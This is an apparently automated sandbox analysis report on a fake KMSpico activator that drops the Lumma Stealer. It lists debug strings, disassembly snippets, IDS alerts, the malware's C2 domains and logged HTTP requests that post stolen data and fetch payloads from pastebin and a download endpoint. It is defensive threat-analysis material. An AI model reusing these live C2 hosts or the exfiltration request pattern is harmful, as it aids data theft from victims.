              Source: Binary string: C:\Program Files\KMSpico\AutoPico.PDB source: AutoPico.exe, 00000010.00000002.2868893735.0000000000CF4000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: Microsoft.VisualBasic.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Windows.Forms.pdbH source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Xml.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.ni.pdbRSDS source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.pdb8W source: KMSELDI.exe, 0000000F.00000002.4016110699.000000001BD76000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: c:\divert-master\install\WDDK\i386\WinDivert.pdb source: KMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000000.2694639189.00000000009E2000.00000002.00000001.01000000.0000000D.sdmp, AutoPico.exe, 00000010.00000000.2697776380.0000000000888000.00000002.00000001.01000000.0000000F.sdmp
              Source: Binary string: System.Management.pdbSystem.ServiceProcess.dll source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Configuration.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Configuration.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: \mscorlib.pdb source: powershell.exe, 00000017.00000002.2958906152.00000000074DB000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.Xml.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: \??\C:\Windows\dll\System.pdbM source: AutoPico.exe, 00000010.00000002.2872302714.000000001A59C000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbdllz3 source: AutoPico.exe, 00000010.00000002.2869063703.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.ServiceProcess.ni.pdbRSDSwg source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Windows.Forms.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: mscorlib.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: C:\Windows\System.pdbpdbtem.pdbW source: AutoPico.exe, 00000010.00000002.2872302714.000000001A59C000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: rms.pdb source: KMSELDI.exe, 0000000F.00000002.4016110699.000000001BD9C000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: tem.Core.pdb source: powershell.exe, 00000017.00000002.2958906152.00000000074DB000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.Drawing.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Management.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Management.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: pC:\Program Files\KMSpico\AutoPico.PDB source: AutoPico.exe, 00000010.00000002.2868893735.0000000000CF4000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: System.Core.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: c:\divert-master\install\WDDK\amd64\WinDivert.pdbH source: KMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000000.2694639189.00000000009E2000.00000002.00000001.01000000.0000000D.sdmp, AutoPico.exe, 00000010.00000000.2697776380.0000000000888000.00000002.00000001.01000000.0000000F.sdmp
              Source: Binary string: \??\C:\Windows\dll\System.pdbf source: AutoPico.exe, 00000010.00000002.2872302714.000000001A59C000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: ion.pdb source: powershell.exe, 00000017.00000002.2962214958.0000000008570000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: m.pdb source: KMSELDI.exe, 0000000F.00000002.4031311630.000000001E013000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: ll\mscorlib.pdb source: powershell.exe, 00000017.00000002.2958906152.00000000074DB000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Core.ni.pdbRSDS source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: Microsoft.VisualBasic.pdb source: WER3E37.tmp.dmp.20.dr
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00452A60 FindFirstFileA,GetLastError,6_2_00452A60
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0047531C FindFirstFileA,FindNextFileA,FindClose,6_2_0047531C
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00464158 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,6_2_00464158
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004985E4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,6_2_004985E4
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00462750 FindFirstFileA,FindNextFileA,FindClose,6_2_00462750
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00463CDC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,6_2_00463CDC
              Source: C:\Program Files\KMSpico\UninsHs.exeCode function: 11_2_00401C98 FindFirstFileA,MessageBoxA,RtlZeroMemory,7516D0A0,11_2_00401C98
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ebx, byte ptr [esp+edx+000002A0h]4_2_022832FB
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx eax, di4_2_0229F020
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov word ptr [esi], dx4_2_0228C0C7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov word ptr [eax], cx4_2_0228C0C7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ebx, byte ptr [esp+eax+5CA462FAh]4_2_022836C7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp word ptr [edi+ebx], 0000h4_2_022BBAF0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+14h]4_2_022B3840
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov byte ptr [esi], cl4_2_022A69DA
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov byte ptr [esi], cl4_2_022A69DA
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+000000E8h]4_2_02281E43
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov dword ptr [esp+44h], ebx4_2_0227FEE2
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp dword ptr [esi+edx*8], F7D6D3F6h4_2_022BCFC0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx eax, byte ptr [esp+ecx+08h]4_2_022BCFC0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ebx, byte ptr [esp+ebp-1D026D4Ch]4_2_022BCD90
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov word ptr [ecx], bx4_2_022BCD90
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edi, byte ptr [esp+ecx+04h]4_2_022A222F
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax]4_2_022BD230
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edi, byte ptr [esp+ecx+04h]4_2_022A2208
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+00000288h]4_2_022A50AC
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ebx, byte ptr [edx]4_2_022B0240
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h4_2_022A1259
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ebp, byte ptr [esp+ecx-210ED45Eh]4_2_0227F290
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]4_2_0227A2F0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, word ptr [edi+esi*4]4_2_0227A2F0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp word ptr [esi], 0025h4_2_022B5301
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]4_2_0228EA36
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]4_2_0228F384
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov dword ptr [esp], eax4_2_022A50D9
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+00000288h]4_2_022A50D9
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov ebx, dword ptr [edi+04h]4_2_022A3160
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp word ptr [edx+ecx+02h], 0000h4_2_0228E1A8
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp al, 20h4_2_022721B7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+00000288h]4_2_022A51C1
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h4_2_022901D5
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx eax, byte ptr [esp+esi+08h]4_2_0227C620
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edi, byte ptr [esp+edx-60792AF7h]4_2_0227C620
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp dword ptr [edx+ecx*8], 656D2358h4_2_0228D60B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+0F84FFBAh]4_2_022A064A
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax]4_2_022B57D4
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp dword ptr [edx+ecx*8], 7A542AABh4_2_022BC450
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov byte ptr [esi], al4_2_022A74A9
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov byte ptr [eax], cl4_2_0228D4CF
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax-26h]4_2_022984C0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+ecx+562D396Eh]4_2_0228EA3B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx esi, byte ptr [esp+edx-1D49F88Ch]4_2_022A4A60
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edi, byte ptr [esp+edx+34h]4_2_02282A62
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov ebp, eax4_2_02278A80
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, word ptr [ebp+eax+00h]4_2_022B5A87
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h4_2_02298B30
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edi, byte ptr [esp+eax]4_2_0227CB60
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+78h]4_2_0227CB60
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp dword ptr [edi+esi*8], 1ED597A4h4_2_022B7810
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then push 00000000h4_2_022A286D
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+eax-52E10136h]4_2_0228E880
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov eax, ecx4_2_0228D8D8
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+eax-1ADA46F0h]4_2_0229D900
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+eax-119B4E69h]4_2_0228C912
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+eax-52E10136h]4_2_0228E942
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then jmp eax4_2_022819A9
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx esi, byte ptr [eax+ecx-0632C0E6h]4_2_022B99AE
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ebx, byte ptr [esp+eax-40h]4_2_022B7980
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+eax-52E10136h]4_2_0228E6F1
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+eax+00000130h]4_2_0228DE24
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx esi, byte ptr [esp+eax+37E3DCC2h]4_2_02292A4E
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov ebp, dword ptr [ecx+eax*4+04h]4_2_0227BE10
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov byte ptr [esi], cl4_2_022A6E7B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov byte ptr [esi], cl4_2_022A6E7B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov byte ptr [esi], cl4_2_022A69DA
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov byte ptr [esi], cl4_2_022A69DA
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then jmp eax4_2_0229DED8
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+ecx-084F43B2h]4_2_0228EF2B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov esi, eax4_2_022B8F38
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov esi, eax4_2_022B8F38
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movsx eax, byte ptr [esi+ecx]4_2_0228AF10
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx esi, byte ptr [esp+eax-76h]4_2_02291FD0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+eax+44h]4_2_02291FD0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edx, byte ptr [esp+eax+00000130h]4_2_0228FC30
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov dword ptr [esp], edx4_2_022A6C45
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h4_2_02296CA0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then mov esi, ecx4_2_0228FCE6
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edi, byte ptr [esp+eax-40h]4_2_022B7D40
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ebx, byte ptr [eax+edx]4_2_02295D50
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx edi, byte ptr [esp+ebx+03h]4_2_02293DB0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4x nop then movzx ecx, byte ptr [esp+eax+0Ch]4_2_02290D80

              Networking

              barindex
              Suricata IDS alerts for network traffic
              Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49984 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49977 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49976 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49976 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49993 -> 104.21.112.1:443
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorURLs: tewchjourney.icu
              Source: Malware configuration extractorURLs: hardswarehub.today
              Source: Malware configuration extractorURLs: tracnquilforest.life
              Source: Malware configuration extractorURLs: hardrwarehaven.run
              Source: Malware configuration extractorURLs: seizedsentec.online
              Source: Malware configuration extractorURLs: codxefusion.top
              Source: Malware configuration extractorURLs: quietswtreams.life
              Source: Malware configuration extractorURLs: starrynsightsky.icu
              Connects to a pastebin service (likely for C&C)
              Source: unknownDNS query: name: pastebin.com
              Source: Joe Sandbox ViewIP Address: 104.21.112.1 104.21.112.1
              Source: Joe Sandbox ViewIP Address: 104.21.112.1 104.21.112.1
              Source: Joe Sandbox ViewIP Address: 104.20.4.235 104.20.4.235
              Source: Joe Sandbox ViewIP Address: 104.20.4.235 104.20.4.235
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
              Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49986 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49991 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49977 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49993 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49994 -> 104.20.4.235:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49980 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49992 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49984 -> 104.21.112.1:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49973 -> 149.154.167.99:443
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49976 -> 104.21.112.1:443
              Source: global trafficHTTP traffic detected: GET /unbroski HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: t.me
              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LJ45240YHTKFJH45User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12823Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=P09NW9NHVDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15029Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DGPEHFYJDR05O05User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20549Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=G1AUJT86GMQXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2614Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CIA1TPDXLHJJTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 65570Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: GET /raw/yKBaQkD9 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: pastebin.com
              Source: global trafficHTTP traffic detected: GET /api/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Host: myspecialdot.comConnection: Keep-Alive
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /unbroski HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: t.me
              Source: global trafficHTTP traffic detected: GET /raw/yKBaQkD9 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: pastebin.com
              Source: global trafficHTTP traffic detected: GET /api/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Host: myspecialdot.comConnection: Keep-Alive
              Source: global trafficDNS traffic detected: DNS query: t.me
              Source: global trafficDNS traffic detected: DNS query: tewchjourney.icu
              Source: global trafficDNS traffic detected: DNS query: 81.111.9.0.in-addr.arpa
              Source: global trafficDNS traffic detected: DNS query: pastebin.com
              Source: global trafficDNS traffic detected: DNS query: myspecialdot.com
              Source: unknownHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tewchjourney.icu
              Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 28 Feb 2025 21:29:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RjTgU7EPAcUfhtVfd6sTbDyA98B3BEu5CaDdYrOg%2FFv5f8WImMz6LlwKHE3kNRgeNn%2BuuR2WPEW9L8579zQZyDC2dfYQnjbnFFZM7tMyC2qjZXTwklRKidBUCqtsFwESv8s5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 91938226bece52c6-EWR
              Source: svchost.exe, 00000016.00000003.2858327754.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2886021783.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2845695408.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898085882.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.N
              Source: svchost.exe, 00000016.00000002.4002837227.0000026DE9B37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848357996.0000026DE9B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2885972865.0000026DE9B82000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898314215.0000026DE9B6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898254945.0000026DE9B6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003163140.0000026DE9B6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848257816.0000026DE9B66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2886242170.0000026DE9B82000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS
              Source: svchost.exe, 00000016.00000003.2886045830.0000026DE9B76000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
              Source: svchost.exe, 00000016.00000003.2846246293.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848357996.0000026DE9B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003367495.0000026DE9B82000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848257816.0000026DE9B66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2904280719.0000026DE9B82000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4002717322.0000026DE9B13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
              Source: svchost.exe, 00000016.00000002.4003736257.0000026DEA22C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4004243044.0000026DEA290000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb:pp
